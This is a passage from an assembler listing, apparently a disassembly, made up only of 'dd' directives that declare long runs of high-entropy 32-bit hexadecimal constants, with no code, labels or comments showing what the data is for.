		dd 1F84CE02h, 0ACA3CFC2h, 7093A6E6h, 634631BAh,	0E866D10h
		dd 0C699F631h, 0A3E99037h, 0A37DEED1h, 0BB41CB90h, 9622CF6Ah
		dd 2089FF32h, 3EBC02EAh, 0DCB81235h, 0E77611Ah,	0B657A87h
		dd 0BB1085F7h, 3B02AA90h, 8C26D4B9h, 0C2F65952h, 77F0B2D7h
		dd 5B4E6691h, 8F405DD7h, 5744966Ah, 0B04FC235h,	2885DD8Ch
		dd 7B1A4397h, 2385D49Ch, 0F207611Ah, 123BEB59h,	80554027h
		dd 3F4A123Bh, 2B5D8FD3h, 30B737D3h, 4201BEAEh, 0B4F9099h
		dd 0E6F5B0F7h, 0FC7CB74Ah, 925F39ABh, 55980C35h, 6A7DF21Dh
		dd 0D9CE16AEh, 61316B86h, 1B960C0Bh, 6F96A59Ah,	30227085h
		dd 1E1B1CAh, 57809D39h,	295C6BE5h, 3A664726h, 650DE889h
		dd 9ABACF5Fh, 0E82F7334h, 0A4640CADh, 0EC72154Ah, 5B7C9F68h
		dd 0D97CB9E5h, 0E1C13A01h, 0D318A8C9h, 0EBE3B33Ah, 95935D4Fh
		dd 0C3FEB8F8h, 0FEE14105h, 37EA225Bh, 97B9E3A0h, 54401B90h
		dd 1290EB33h, 0D2551A3Ch, 0B5D661FCh, 3A896F88h, 16BCB5D0h
		dd 41C7A602h, 637DAC4Eh, 9A67B0D7h, 6B07C34Dh, 0D234A50Dh
		dd 1FA25776h, 594747A5h, 87EB9378h, 0FB80E53Ah,	37B35576h
		dd 553D511Dh, 5112A6Ah,	0E0012EB1h, 0D62739DFh,	0BF768D6h
		dd 807D8C98h, 71DC12A8h, 79C2DFEBh, 62CC0DAFh, 85301421h
		dd 0B7F965Ah, 0B1A86E70h, 99A49CBAh, 41B1C6A2h,	0F8C0F4DBh
		dd 0EF0D3339h, 0A1303D5Ah, 4EF8E509h, 1178B3B6h, 0B864F854h
		dd 9B21DF66h, 6688BF4Bh, 6F801C4Ch, 30861D23h, 0A0BF2B9Ch
		dd 0DEB9DD41h, 6E4A566Fh, 0BA35CADEh, 0CC0614AAh, 0E251F052h
		dd 0C2C2829Eh, 0E8B8C1E3h, 784705DDh, 0A6C386EAh, 8BC52FCDh
		dd 88EAFE9Ch, 0A03D26A5h, 0A4EB5365h, 0ED0AF4EEh, 0A2BCDB8Dh
		dd 0EC3F6235h, 0E758E62Eh, 4F1ACBEFh, 3834FE25h, 90408261h
		dd 78669938h, 17A7480Fh, 6AB0ECA5h, 5EF4E4A5h, 0D1B54F4Bh
		dd 6FC18672h, 18B47460h, 0DF9C8C76h, 0CDAA7868h, 9B82CE50h
		dd 6510F0A8h, 6D20C6B8h, 0BB7D5A5Fh, 0F6C66109h, 372B48BCh
		dd 0E9B022B6h, 0AC3B8908h, 7CAFBAEBh, 0E1E6C5D3h, 0C1142AC2h
		dd 0CD387DA6h, 0E893B6BBh, 7D9E352h, 6F5DD088h,	87A832FEh
		dd 90EB19AEh, 0E15C740Eh, 8DC3B936h, 292AD284h,	608E76F6h
		dd 58C1D961h, 0C1C19F9Dh, 0F15F5BFBh, 0EA35CCC9h, 0F24BD5F5h
		dd 409FF392h, 4D818926h, 85633F9Dh, 0F6935201h,	27168483h
		dd 0C2344B3Ch, 506E875Fh, 56BCD3CAh, 51D0B74h, 0CA4808A2h
		dd 0A3B8F2B6h, 0ACD94C41h, 4B56D75h, 0AF450F7h,	0B508C8F0h
		dd 0D3BF4683h, 0A0EF0D75h, 0F35417A5h, 4DA0B6FEh, 57131751h
		dd 9AA1A5B3h, 0D81B7E71h, 2C26EFBBh, 0E81FB729h, 5178755Fh
		dd 0D1D7DEAh, 955509C5h, 79C63C15h, 4AB88E3Ah, 0CA7ABB07h
		dd 976AC631h, 7D5D4CF6h, 1DEF7837h, 2D0FE64Ah, 0C0BC58EDh
		dd 0F2E0019Ah, 0A3366FFCh, 0C30D7A0Eh, 4F128B7Dh, 9BE7D9EFh
		dd 5ED7CA06h, 0B694CF5Fh, 7D468387h, 3E86BAF5h,	0DE159E78h
		dd 0A2241453h, 9777198h, 7FB53865h, 8ED25F6Ah, 355542D3h
		dd 3DB1FD58h, 0E3A85E7Ah, 31AD217Ch, 1AA322BDh,	0FA9DA547h
		dd 0A7B8593Dh, 510CE3D3h, 866F5A0Ch, 7AF789F1h,	0FABE4213h
		dd 0B53B5C6h, 56DA1DBCh, 0D9A3DEFEh, 0A25EC470h, 806FF407h
		dd 0DDFFE4A2h, 7AB069DEh, 6926F101h, 70CF6343h,	84DD16CAh
		dd 0B6A0213Bh, 0F20BEA60h, 0A72A524Ch, 0C35490F1h, 62E8737Fh
		dd 0F49453F6h, 6A7D112h, 161F4426h, 0CF77E733h,	0CCF7EFD2h
		dd 0F9302D96h, 66A59C47h, 0B85E87F5h, 93D151CEh, 0D3EA7884h
		dd 0B03549B8h, 0CB00A5BAh, 9336A23Fh, 0F1639B57h, 31A59BF4h
		dd 0D32DB2Fh, 47B4CA08h, 0EBCF2A7Bh, 0BA2D7AE2h, 9A3DC4A6h
		dd 18751ABDh, 581E4ED4h, 0A8411F17h, 7DE59Bh, 0AB8161A9h
		dd 1EBE07Ah, 0A10B316Bh, 0A3403FFEh, 470F20FEh,	0C117B530h
		dd 0F1D2D2h, 0D07161D6h, 0E93DC4CBh, 0FE3E4292h, 0C8A134ADh
		dd 1200C2E0h, 7EBDCE89h, 93719C56h, 369C5F37h, 19AF82DAh
		dd 0DCA121DEh, 0BE76036Eh, 8A45EFA6h, 0E8D675B5h, 388AD81Bh
		dd 48E8C5EBh, 22EC039h,	203D5885h, 312ADEAEh, 0ED0BAED8h
		dd 6D37C0BAh, 697A93CCh, 0D8CEC9DEh, 2B7C56Bh, 98E1E12Bh
		dd 3FFCB552h, 4AD47D98h, 2783CD90h, 2249A83Fh, 0FDC36322h
		dd 0DB585AA3h, 21D18E5Dh, 50A2126Ch, 11672054h,	0F1D82320h
		dd 3C365D80h, 0B41A0206h, 0E0F41C76h, 926DFD36h, 2A49ECFDh
		dd 84C11070h, 0BBB630E9h, 61D4921h, 2B935FE5h, 0CD60D38Eh
		dd 0C9FD6B41h, 0F9323145h, 72DEC9ADh, 503CBF72h, 0E18E4CEBh
		dd 0BA0CC39h, 800754B8h, 0F953903Ah, 0DFF611D5h, 1146C948h
		dd 343E7424h, 96045610h, 0A13D10B6h, 0A18C4705h, 0F23DA479h
		dd 695246CEh, 775B2AB4h, 503CB88Bh, 435FF3B4h, 7E169F0h
		dd 4B44385Fh, 0BEF4C511h, 0A1ED834Ah, 75588B08h, 0B6D15BC6h
		dd 311393DFh, 458A3E4Ah, 70F1FBCDh, 0E5EEE256h,	0B1DD3ABDh
		dd 37FCBA58h, 615F9783h, 0B6245670h, 829C10D7h,	8C642063h
		dd 1E76E051h, 0A1576B20h, 49652EB4h, 0AFD5121Fh, 0A2B51AB9h
		dd 0FA6FDFB9h, 76B46374h, 95D078A2h, 0E8F85E57h, 3AC9DA95h
		dd 0B8F4586h, 66222F94h, 1BB8293h, 9A48EF61h, 77504932h
		dd 4E4A6334h, 5ECC6030h, 32A0FD14h, 1AD46807h, 3CB6A19Fh
		dd 6C9F1B71h, 7F376B2h,	72724E95h, 0A908AA2Dh, 31196CDAh
		dd 0EEC76091h, 0C275A875h, 0AD2E3DF7h, 8B0E4E12h, 0D8C3626Bh
		dd 9FBC1948h, 0F6B4163Dh, 0E58DB40Bh, 775C01E6h, 333145DFh
		dd 6F7B9DDh, 7437402Eh,	7609E061h, 0CD3ACCA9h, 7356D5D4h
		dd 774A7EA3h, 4CF01F1Dh, 17B8C161h, 902ED48Bh, 145B4C4Bh
		dd 2B7E2A6Bh, 0B6DFB63Ch, 33233FC1h, 0C86E0C3Ah, 0DE8DCD9Fh
		dd 66CC5447h, 309E40ADh, 0DEDA74FFh, 8F1B8BA8h,	0B6FA67BDh
		dd 7EDBAB97h, 3534CF3Ch, 4A54CD33h, 81580DBCh, 0F85E0582h
		dd 7C2A6DA0h, 0BE8EFAC0h, 8A8D7F41h, 29FB44C1h,	81B7B5A6h
		dd 4D21BA9h, 0CD260C2Fh
		dd 0C9A3B02h, 727F7F47h, 719589C7h, 572B0AB4h, 7F630118h
		dd 9063F3E7h, 3BD9A28Bh, 81C2442Ah, 0F106024h, 321B8E82h
		dd 0F58F9CDAh, 47D347C7h, 3BB3900Ch, 15DC6AF5h,	1DD5FB6Ch
		dd 0F5B0DF19h, 5C21B5A7h, 0DFE02593h, 48059A0Eh, 31B3841Bh
		dd 648F40A2h, 27D7EFD8h, 0CF9E30CAh, 8C0067CEh,	197E5531h
		dd 188358F1h, 94EC8D54h, 0BCC44654h, 4C159AB9h,	814F18ACh
		dd 20CD2C3h, 0B7386852h, 3FFFB177h, 617C59D5h, 3A457895h
		dd 0FDDD52DAh, 0FE6A5BE5h, 854E72AAh, 1F5233D8h, 0DB018A72h
		dd 361DDF1Bh, 0F07F94F8h, 5FBD6328h, 0E7BC8A89h, 4799937Eh
		dd 884FC7EEh, 0A07A8238h, 74D318A7h, 4895362Dh,	1C0BC3AFh
		dd 93D37A10h, 9FDBB881h, 0A3F7F9FFh, 0B1967D96h, 0F001DA95h
		dd 0C1F77F63h, 3CDD1A59h, 7159CCACh, 0CA1A0E2h,	35B46463h
		dd 85408373h, 324E1EB3h, 44FC0CAAh, 5D5CA713h, 0E6B3CC6h
		dd 0FF21D11Dh, 0FC434A75h, 2751D590h, 9ACD7F4Bh, 5E27EF76h
		dd 0C2BDB021h, 49593BA4h, 290957CFh, 0EF3ABCF0h, 20FC09D0h
		dd 971D9BF6h, 0AC014C1Fh, 0CB69DC4h, 471BC2F9h,	67E5FD52h
		dd 0A61822Ch, 652D98B4h, 5B9066BCh, 6982D98Bh, 841371D1h
		dd 7AF639AAh, 0BE395B43h, 0B0951F4Fh, 6656FB5Bh, 0FAE052D1h
		dd 0E3CFA032h, 0ABA7EC21h, 0E0EABFBFh, 6FBDAD09h, 5C9709E6h
		dd 67A06FDEh, 28E32D77h, 2ABC3FD5h, 956F171Ch, 96940723h
		dd 266EF9E8h, 9DD0813Ch, 9C79C82Ah, 77C0ECC9h, 0B3B2F6AEh
		dd 71893475h, 28FD6F4Fh, 0B3DA45D5h, 1D81BAA2h,	887C622Ah
		dd 309537DEh, 2033FD7Eh, 96A9F9A1h, 62480156h, 8959B161h
		dd 0AFDE3900h, 66902A95h, 23772A07h, 7079436Dh,	7EDA1A34h
		dd 9EC45C3Dh, 7C2B9BCCh, 0C5C5B63Dh, 0E9EE4430h, 3D07A87Fh
		dd 0A6C984A9h, 0C75A3BD9h, 49652877h, 5ABE4575h, 0E9A864Ah
		dd 0F459D0F3h, 0E5494468h, 0C1BC1953h, 783D1300h, 0C2EA2009h
		dd 0CB706B63h, 0C0CA666Dh, 868B8379h, 86A7C30h,	735F8897h
		dd 0FDEF44BDh, 4F2FE29Bh, 75EB64B8h, 3528C1BDh,	3CA25FEh
		dd 8C440C00h, 8E061B63h, 18CDD004h, 0D9EE9629h,	729D08B7h
		dd 8C6BE103h, 0C907D183h, 227F724Eh, 0BDE75548h, 521F56F0h
		dd 2D88CD6Ah, 0DEFD8779h, 87232DFFh, 1CC9D042h,	39032A73h
		dd 16CE9275h, 9277C02Ch, 0E043A80Dh, 6139DC01h,	3C863E90h
		dd 4E407AC4h, 0B996DA82h, 0AD2AF494h, 89E443E7h, 4E9C2AEh
		dd 0F1EDBA9Fh, 0D76FAAEFh, 87A300DDh, 6C0E5A8Bh, 87F15720h
		dd 867558ECh, 2B02F5E5h, 8C410F88h, 9E84D2C7h, 0E490A559h
		dd 0A5CC715Dh, 7924D65Ah, 21B1F734h, 9FC1F2A5h,	0D4E1102Dh
		dd 2554F8E6h, 5A0319B7h, 0A0AD5A67h, 62F533ECh,	878DF7D0h
		dd 67135742h, 3946E9AFh, 2AC0E12Bh, 0A504DE79h,	0FD368A6Dh
		dd 6ED6F322h, 2DD626F7h, 2A261DAAh, 6AC7977Bh, 0AE115621h
		dd 0F3DA66EDh, 4714FB98h, 8C5B176Ah, 572EE7E9h,	0EBB4DA29h
		dd 0DD07C41Ch, 5A194A0Ch, 4A767F09h, 35949092h,	0C768C312h
		dd 3622C332h, 0B76D08BCh, 0F2E4618Bh, 53FB6BE5h, 59166BCh
		dd 8BE18955h, 0E261EA64h, 3D059298h, 43162968h,	39AE07B3h
		dd 0D4D31FFFh, 4721C29Bh, 3F086A4Eh, 2582ADD1h,	4D8BBE5Ch
		dd 6283C79h, 5FF69347h,	24F7F4DDh, 2273B399h, 0EB350654h
		dd 171F4ADBh, 9511FBD0h, 0C7893E12h, 8AB1488Dh,	2195A304h
		dd 0D1826F68h, 7EAC3177h, 479FFD87h, 0AE423B13h, 191DEF8Ah
		dd 87AFC600h, 7A6EA43Eh, 30755F4Eh, 26FCE4D9h, 0AEF11CCFh
		dd 860249BDh, 68DDADE9h, 6C9784E8h, 0C1386A9h, 0CAD82571h
		dd 0B018F6AFh, 90B4444Dh, 0E3B6811Ah, 0C10B1B2Ch, 0DA1425Fh
		dd 0EFCBED0h, 5B76E606h, 0F9338CB0h, 3F0B921Dh,	0B5801355h
		dd 459C8220h, 0D6B2E12Ah, 539ABA3h, 1EA0ABE3h, 72E175AFh
		dd 0B2172C28h, 0FBC1009Ch, 0F98721EDh, 4D56A572h, 595A7063h
		dd 28556097h, 0C1BAAAB2h, 6BF2328Bh, 5791A221h,	0AA31C6Bh
		dd 0EBCEC0F8h, 1249F5CBh, 3FF5B86Ch, 11B41A29h,	90170A81h
		dd 0E9B4E625h, 96F55192h, 25FAD80h, 9EF54705h, 363A4F34h
		dd 0DB3640C3h, 3A5A8425h, 0DF42A43Dh, 0EBBF0DAAh, 25806E8Ah
		dd 0D6C100C5h, 0BD351Eh, 0BA96FC85h, 0D46C01E3h, 0BDE6F346h
		dd 0E75A24F9h, 3F8D61E2h, 469D7927h, 3B5F7D3Bh,	3DD2538h
		dd 0EF56019Ah, 84DD34F6h, 0A49DF3BAh, 3EE24A08h, 0CD6A8A3Fh
		dd 0E1159E8Ah, 59891BEBh, 0DBC7EE0Ch, 6C5F3BCAh, 7071ADF2h
		dd 0FCE4D9A0h, 0B62D3411h, 29CC2214h, 3B456CE9h, 0A47D94ABh
		dd 0E4A1ADF5h, 4D9ACF15h, 0D90BC71Fh, 0C2A9D711h, 7DF715B2h
		dd 0B63CD3FBh, 0AE0FD809h, 9F8C8864h, 9BD13F13h, 7C5A899Ch
		dd 338405ECh, 9357D9ECh, 2036A7C6h, 8EC59406h, 43F40E25h
		dd 0F91E8DA2h, 0CEE30598h, 0E3FF3C61h, 0B9F829C2h, 0E01A075h
		dd 7C16EDB7h, 3D83EA19h, 0D39FA174h, 60D91318h,	3C5459E5h
		dd 0F00AC43h, 12F93E95h, 1382FFAFh, 0D9DAEF9Eh,	6EF44164h
		dd 5236543h, 98AB49DEh,	0BCFA096Dh, 0D61D410Fh,	44B195D2h
		dd 0A1550639h, 0F440257Ah, 6636EB52h, 0F95AED69h, 0D761C700h
		dd 8F68942Dh, 0CE1ED74Ah, 39ED0041h, 613F79EFh,	2A73A440h
		dd 7F5C1347h, 0E7ADC4B8h, 0B310D661h, 0B3F23292h, 0AC19E684h
		dd 0C4A7EBBh, 0B815C8CAh, 0F53E7331h, 85888D9Bh, 9F806226h
		dd 122ADCD1h, 55AE9D7Bh, 435DD1A6h, 0E35C99F1h,	6A695BA1h
		dd 0BBCE4AB9h, 691543ECh, 0C58415C5h, 95542968h, 0DD67B788h
		dd 0BA21CAFAh, 552FBCFAh, 0D4508154h, 4425EA6Eh, 0FC1D9E1Eh
		dd 0D73C7A3Eh, 50397FD1h, 563BAB10h, 709A224Bh,	0E8AD2497h
		dd 0AEE6CF63h, 0AED2930Dh, 0A31BD07Ah, 9D31912Ah, 0A9B5D78Ch
		dd 19E4FDF7h, 62893EF2h, 6CB21B9Eh, 66AFB920h, 8E674F51h
		dd 0DD4BB158h, 9189755Ch, 0FFFC8EF9h, 5FFCF249h, 22B8052Ah
		dd 0C837008h, 8DE3F56Ch, 0DA0A7511h, 9A20CFDBh,	0F7D3D759h
		dd 0DED9D599h, 0D81160E8h, 0A5A03F9Fh, 1510B655h, 213740C5h
		dd 631CF957h, 6ED22D59h, 3F7E4095h, 2CB502B8h, 3D983F63h
		dd 0DC57483Ch, 501D217Fh, 0ABDEE67Ah, 0A08DC20Ah, 8EA443F3h
		dd 277B320Ch, 0E59CFAF5h, 139B2D35h, 56070CF7h,	0C2A4C9B8h
		dd 42BBE73Ch, 0BDECAC9Bh, 0D402C53h, 57729CF0h,	943082B6h
		dd 0EA025205h, 77C85960h, 0B947BBB3h, 82A66CB3h, 6C1CE8AAh
		dd 67B78406h, 0DF0510BCh, 1FBF58C2h, 2CA120EFh,	5323BF01h
		dd 0B18CA03Dh, 724BDEDFh, 422A6353h, 0A148A001h, 67B31128h
		dd 0AEF3806Fh, 215AC183h, 689FC17Ch, 5C2D2442h,	0A462A33Dh
		dd 15273566h, 9E5D4F63h, 0EB7A6D7h, 0FC652BD3h,	8466FD2Ah
		dd 0C2B79E68h, 0D46A91B5h, 54E8A6DEh, 0C44E4886h, 0B8F29056h
		dd 8145E14Ah, 418B0E71h, 0FD689249h, 5C50890Ah,	0C067EF3Eh
		dd 2FE098C2h, 261E7B3Bh, 1D485109h, 25254FFBh, 30477C90h
		dd 0F4C95C23h, 6CB24A66h, 92331AB5h, 2EA932F3h,	0AED60665h
		dd 35054F1h, 2F7A2096h,	8466D2C7h, 467675C4h, 957B02C5h
		dd 1DCB15E0h, 6A73DF9Dh, 67E86337h, 4E0DA827h, 1EB78A90h
		dd 0C1C704F3h, 9DA24D8Ch, 57D34D79h, 92DAC4D6h,	13F0ABABh
		dd 3E345D02h, 7EF45040h, 963A64E7h, 0F09FD7BEh,	679136CCh
		dd 0C7816EECh, 4E6C641h, 5E2ED99Eh, 8D480AFh, 0CE8A3074h
		dd 0EA472B2Ch, 0BC2BAC98h, 89B66392h, 0C4584D10h, 57133FDDh
		dd 9904227Fh, 0EA10D62Fh
		dd 37572153h, 0C6FAA821h, 0CEDDC95Bh, 92918CFCh, 2E097B26h
		dd 0C8A40AFBh, 0A8445D44h, 802C64D5h, 0D105B9D9h, 0ADE6362h
		dd 95A7082Fh, 0FE2BF215h, 0FFA2FACCh, 0D9222CE3h, 129DB490h
		dd 4BB8135Ah, 0AE47817Fh, 0A97E45F6h, 1EA1F4F3h, 753877DBh
		dd 2AC88CABh, 0F856D81Ah, 87685EEBh, 0B764E69Dh, 0C9D64227h
		dd 943E9948h, 9CC70111h, 5AE051A8h, 0BC048CCDh,	12DA6C2Ah
		dd 0DD365BF3h, 27F49365h, 8A5D707Fh, 37DFFE3Ch,	1CC2C218h
		dd 3CF1EB82h, 0A1AF22C7h, 79AF0B84h, 5519A06Bh,	2513157Fh
		dd 5EE16A12h, 0E90F3A5Eh, 0D52F2BA5h, 37D665F3h, 58587C6Eh
		dd 5C29043Eh, 4D4ACD1Eh, 7BE7B6A4h, 0C1B36FEh, 885F01BCh
		dd 0AE9176FEh, 0EFAAC66Ah, 7B6E696Bh, 0D85C0D3Dh, 94561B52h
		dd 0B00B57C0h, 82DA08A9h, 0FB2CDB6h, 0F40AF4DBh, 9F71AA11h
		dd 51BD9736h, 14500AFFh, 5F58CFC0h, 5D3B67F4h, 0B9C08700h
		dd 8024BC80h, 738AB260h, 0AD8EFC48h, 8F61B4DBh,	35D8B8B3h
		dd 0F4C0188h, 0D7A407F0h, 2875B511h, 0B766060Ah, 0C930C673h
		dd 2451F407h, 3474DD94h, 309D85E4h, 0D209C0B5h,	7DEAB5FFh
		dd 0E4871071h, 0EBCE33Bh, 0AC02A114h, 0E6F45ACEh, 6ED4516Ah
		dd 5199C5C1h, 952CA565h, 382808Bh, 0F35112BFh, 0C0BB4B80h
		dd 0A43B3A32h, 0DE31D95Ah, 572CFF64h, 65D37313h, 6F63AABAh
		dd 0D3376443h, 0E4FB189Dh, 0CC7E3442h, 1D7F1B74h, 12A8C765h
		dd 13DD0375h, 185B6A54h, 0ABE92918h, 5956AE51h,	69F1723Bh
		dd 0B455DBAFh, 0A53F8FA2h, 0FB802D36h, 0DEEB6767h, 0F2E770EFh
		dd 40B36144h, 704BB07h,	0B2124929h, 0B88DF16Dh,	144B310Dh
		dd 0F735613Ah, 0A2035535h, 7A3239E3h, 4476E9Ch,	0F0EC5FBEh
		dd 0CF62133h, 0B30246F3h, 0F56BA330h, 0EA1FAA21h, 3207ACFFh
		dd 6479D1C7h, 4EF1EB2Dh, 9A19F259h, 4E7CA7A2h, 301F165Eh
		dd 75C43623h, 0D7AE97B7h, 7707B9B1h, 504246ABh,	7781F36Ch
		dd 784B4630h, 76B926A8h, 5F262AC3h, 1FC388F7h, 89AB9B4h
		dd 0E49030E4h, 0BA42541h, 680BA5D0h, 0CE2B1F23h, 61CCA1Bh
		dd 94BA74D8h, 27916605h, 455F6460h, 130FEB3Ch, 56F065CBh
		dd 60F110CDh, 6C2DACC7h, 0ABFF77D9h, 0BA0D9AF9h, 6BBFCE9h
		dd 76959F4Eh, 0DA210681h, 0EFFED1EFh, 0E6F10B6Ah, 0C2A013B4h
		dd 3AC7FCF7h, 0F7D0E90Ch, 0CE53772Dh, 1B9F271Eh, 3D30A64Bh
		dd 22487551h, 7639589Ah, 6E8EC368h, 5FCF4BA1h, 4D28C4F5h
		dd 404CDCAFh, 58EFE232h, 70878CE6h, 66064F79h, 43BE50A1h
		dd 0BCD764F9h, 204743CFh, 4ECAA9E0h, 39365374h,	47D9DA14h
		dd 0A3AD6345h, 672A2D9Eh, 0C3B8156h, 1A3C7713h,	0A54EAC68h
		dd 0ACECEB1h, 865D0743h, 0CD339F3Dh, 175B8F18h,	0C8022E24h
		dd 9CD17490h, 0D25C6052h, 90142756h, 4EAA3990h,	89E74873h
		dd 0CAA3B9DAh, 76CB8479h, 8CE75D6Bh, 0DAFCEAF5h, 493A1696h
		dd 68E6844Eh, 8C3C1252h, 63636446h, 8ED55505h, 6D697CB3h
		dd 0F3138AB6h, 0BB024D2h, 9B2C550Ch, 5530F5BBh,	804E410Bh
		dd 6DCF099Ah, 7A21DD81h, 0A0950FA8h, 69552091h,	0E3E31269h
		dd 0B8D1D513h, 0E9FDC90Ch, 4202F50Ch, 92538639h, 715D91CCh
		dd 80B04BF0h, 512E525Dh, 0A0668DCh, 7EECD66Ah, 25FCB5BDh
		dd 50C06BA1h, 72F39CDBh, 0E405EBE9h, 0BAC57EEAh, 6B0BA54Ch
		dd 0F06D34EDh, 2E380D3Bh, 994B6D12h, 0E97776E0h, 849E5C1Ch
		dd 17C6E9B5h, 0A97E7E1Dh, 0DDB780CCh, 3FE22845h, 2870C53Dh
		dd 0C16ECAEDh, 32BEBC6Ah, 749C67F1h, 0A93CDB54h, 0BC006B81h
		dd 0BD0B3AF4h, 0D3BC6556h, 90969EF7h, 43E6F38Bh, 0D304A42Fh
		dd 0DEA348FCh, 5243373h, 0F40B67BDh, 0EA733A10h, 0FDAF525Bh
		dd 0D4598F9Fh, 0A8335D02h, 0DF8D0228h, 0DCA2248h, 0E9C5FFECh
		dd 0B5F15C68h, 0F3023C0Fh, 0DE8E8836h, 0AD9434FEh, 5AE3C33h
		dd 0F4B47C20h, 0BFB7686h, 0D0017ED0h, 0EC8C73FCh, 0BFA04337h
		dd 58C4C40Eh, 0D4B9643h, 0E23AF40Ch, 0ED0A2BB0h, 1375663Bh
		dd 0BF4E9450h, 0D7309409h, 0F0A96C0Eh, 73EF07C8h, 0B3E80B5Dh
		dd 2593EE02h, 0D5D5E963h, 0D16B437Dh, 3A37A6EAh, 0C51A5E9Bh
		dd 4B814773h, 93D43E44h, 0EAB05545h, 992259Ah, 7475547Ah
		dd 0CA9B7C64h, 6CA756A7h, 0E64513FFh, 112D20A3h, 0E419B443h
		dd 0C51E4555h, 0BA79F81Bh, 7BAF29C5h, 0AA705394h, 0C5D8452Eh
		dd 4CB80664h, 3F7602C2h, 0D87EEE35h, 0A02842EFh, 211FA57Fh
		dd 9003F263h, 54A0CC32h, 2C27D79Dh, 5FEC2267h, 0AB0351E2h
		dd 7B4DB886h, 79E1E6ACh, 86237F30h, 167E1A41h, 2268FB49h
		dd 34B09810h, 0BEEC37D9h, 0F07D9136h, 91A600D1h, 5CC2C984h
		dd 95B3C32Fh, 6C7FC215h, 0B164D2C9h, 0A908296Fh, 0DDA3AAD7h
		dd 0D466A02h, 0FC90B176h, 62EA1008h, 6DDB28FDh,	0ED0C6751h
		dd 349E8F1Fh, 0A3475C4h, 6DDBD8AEh, 0E167D086h,	52FC3AFFh
		dd 62C06D9h, 0D4DF8B71h, 2C0B1A83h, 9558CBDFh, 5A54C38Fh
		dd 406FC041h, 249327F1h, 0E5E1BDD9h, 0B96F1134h, 6C05ABDFh
		dd 85482550h, 0E1F82BC8h, 0F0A3F835h, 0E82C0499h, 0C7F0E886h
		dd 90B9AD79h, 41A2E8C1h, 7705EED5h, 835000C1h, 8205B0BCh
		dd 0B7873524h, 0C37F48D7h, 0A6F294D3h, 0CDE4E23Dh, 6A77F445h
		dd 2B9E072Dh, 29C51051h, 0B0E1F91Dh, 2D8A1D45h,	0F3DFDBEEh
		dd 55BE77A3h, 7B032A7Fh, 86140EAFh, 8281FB1h, 0F803379Ch
		dd 11BEC31Dh, 9A289635h, 2CC1E778h, 5DD0FF4Ah, 0A29A45B5h
		dd 2816AA61h, 57AC0154h, 94CB709Ah, 0D65BDBFCh,	645DC63h
		dd 0B22D0369h, 1D7FC043h, 2669778Fh, 0BEF3B4Fh,	233A56D5h
		dd 7E81E3DEh, 0C1DF08D9h, 1D19F379h, 1AC04F81h,	27D618B0h
		dd 0BBBD4442h, 635BC13Bh, 794D0E33h, 0EF1BF2CAh, 50E3DB96h
		dd 72EBE534h, 5C63ABA6h, 9F8942AEh, 0AFD36ED8h,	0F505BC0Ah
		dd 0EAD32010h, 0B3B6DD78h, 3AE91C57h, 0FE67C46Fh, 799EA1F0h
		dd 3A7961EEh, 0C817B06h, 488C453Dh, 0CE3C3E61h,	60D2BDB0h
		dd 16FF5287h, 56E4FF3Ah, 1ADC575Eh, 0DC5D7246h,	0B6AF7865h
		dd 74C0876Dh, 5F698090h, 0F9261967h, 0E44D2AF9h, 0E17968C9h
		dd 745F8ADFh, 0F1C0023h, 0CED6F37Bh, 1678742Ch,	4419EB3Bh
		dd 51EB8F68h, 63DA1BBBh, 0C5D8EB44h, 8503327Bh,	58621FACh
		dd 0CEE9E0C3h, 2E9CFF70h, 20C7A498h, 0B147B81Bh, 90286D65h
		dd 0E2A8FEF2h, 8C0D47AEh, 0B7A7C68Ah, 917036F9h, 6941A990h
		dd 0DAFE3E6Dh, 0A3D19D73h, 0AB76454Dh, 7D601DC6h, 0E4AA66B0h
		dd 4C4C9974h, 2DE41485h, 5D6EFBDEh, 0CE1411B4h,	2919108Eh
		dd 970DF3D7h, 2E952432h, 0B046E88Ah, 927B9B71h,	2807CDD5h
		dd 0D7BB268Ah, 0B03AA11Dh, 57D12EAFh, 0DEC2ADEAh, 85233A8Eh
		dd 1F472589h, 8D1C723Dh, 794B7263h, 278B1BB1h, 0EBD86EF0h
		dd 2E56855Bh, 0E60520A0h, 0F48E938Dh, 986263B2h, 82FE4E90h
		dd 9F7BAD9Bh, 694EA4A5h, 0A41AAAB4h, 1541042Dh,	3BEE3906h
		dd 0D7661EE7h, 0A20DEED2h, 0A8235711h, 95F218B1h, 5F10953Dh
		dd 0AEC9A7CFh, 9A7B9AF9h, 7A1745B1h, 279CB04Ah,	0D305F765h
		dd 2D9BA273h, 57B0F10h,	2174A19Fh, 8620C759h, 0BC82F85Ah
		dd 0CDA60816h, 0B0D047CBh, 0C4F9B319h, 89DECBF6h, 0E5C38262h
		dd 0E15839FDh, 160CEC5Bh, 530B1C6Eh, 0E84BB1A5h, 91DCE9F8h
		dd 8B8A0D43h, 99EC5844h, 95171723h, 0CF5CA332h,	0E67FD786h
		dd 0B73A960Ch, 35D07926h, 0C4A49475h, 9CF14746h, 9552AB9Dh
		dd 5B6B4F72h, 371D00F2h
		dd 0CDCB701Fh, 3183E4F5h, 0BF2348BCh, 0E03802B9h, 0C86176B8h
		dd 68CAF0Dh, 86720CDh, 0AE6F0F67h, 0E596D956h, 0E26FD181h
		dd 74B11DB1h, 4F81259Eh, 0B360577Ah, 2A24ADACh,	0D0233BF6h
		dd 0FF1EF3B9h, 0D8AB9C5Ch, 60DB6929h, 6E268FFEh, 0F3CE6539h
		dd 6924E404h, 0E4DAFB61h, 0A8DFEDB5h, 64DC0572h, 0C5021A23h
		dd 6EA63D2Bh, 361F3523h, 0D91CAC0h, 7C7B15FBh, 5419C06Ah
		dd 60151608h, 4EE34423h, 0F13458ACh, 0C98F1AF0h, 0E743A10Bh
		dd 126860Fh, 0BD3B5FA2h, 64122E6Fh, 51031DA0h, 55BB2C53h
		dd 94359BAAh, 35B449C1h, 9EB855F5h, 0FDDD689h, 57B13A5Ah
		dd 48ABDC13h, 0B1789FFFh, 0A377DEFEh, 0F4AE6DCAh, 452F73DFh
		dd 3F0CD240h, 0CF7EB0h,	3F59BB8h, 0AFA7FAA4h, 4ADD7077h
		dd 874757F7h, 0E6C72685h, 8087D510h, 112D4964h,	24CA316h
		dd 561B179Ch, 24F59A1Ch, 0A89F286Ch, 983C10E0h,	0F5B04301h
		dd 0A5A2761Fh, 8B8B9F82h, 1384FAFBh, 44DDE94Ah,	773D753Dh
		dd 1FF3C4D1h, 66231376h, 0FE4BAAE9h, 76001A08h,	0C725176h
		dd 70D4AA32h, 1C07EFB5h, 0C35E03EFh, 0EF60C21Dh, 4355A757h
